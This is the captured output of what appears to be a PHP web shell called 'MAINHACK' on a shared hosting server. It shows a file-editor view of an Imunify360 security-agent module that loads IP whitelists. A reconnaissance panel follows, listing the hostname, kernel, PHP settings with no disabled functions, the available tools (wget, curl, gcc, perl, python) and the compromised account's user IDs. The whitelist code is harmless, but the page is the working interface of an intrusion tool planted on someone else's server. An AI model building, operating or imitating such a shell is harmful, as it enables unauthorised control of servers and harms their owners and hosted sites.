[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: global_whitelist.py
File is not writable. Editing disabled.
""" Global whitelist as it was initially defined by https://cloudlinux.atlassian.net/browse/DEF-2307 """ import ipaddress import logging from typing import Iterable, List from defence360agent.files import IntegrityError from im360 import files logger = logging.getLogger(__name__) IM360_FILE_NAME = "imunify360.txt" class GlobalWhitelist: @staticmethod def _allow_load_from_file(file_name): """Check if file file_name should be loaded. Do not load imunify360.txt as it will be loaded separately in GlobalImunifyWhitelist. """ return file_name != IM360_FILE_NAME @classmethod async def load(cls, group=None) -> List[str]: result = [] # type: List[str] try: async with files.Index.locked(files.WHITELISTS): local_index = files.Index(files.WHITELISTS) for item in local_index.items(): if group is None or (group in item.get('groups', [])): if cls._allow_load_from_file(item["name"]): result.extend( cls._load_file( local_index.localfilepath(item["url"]) ) ) except (FileNotFoundError, IntegrityError) as e: logger.error("%s", e) return [] return result @classmethod def _load_file(cls, file, *, log_error=None) -> Iterable[str]: """ :param file: file path :param log_error: what logging method to use [default: logger.error] """ if log_error is None: log_error = logger.error with open(file) as f: for ln, item in enumerate(f): item = item.partition('#')[0].strip() if not item: # allow blank lines and comments (including end-of-line) continue try: ipaddress.ip_network(item) except ValueError as e: log_error( "%s in %s line %d", e, file, # base 1 for files line numbering ln + 1, ) else: yield item class GlobalImunifyWhitelist(GlobalWhitelist): @staticmethod def _allow_load_from_file(name): return name == IM360_FILE_NAME
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A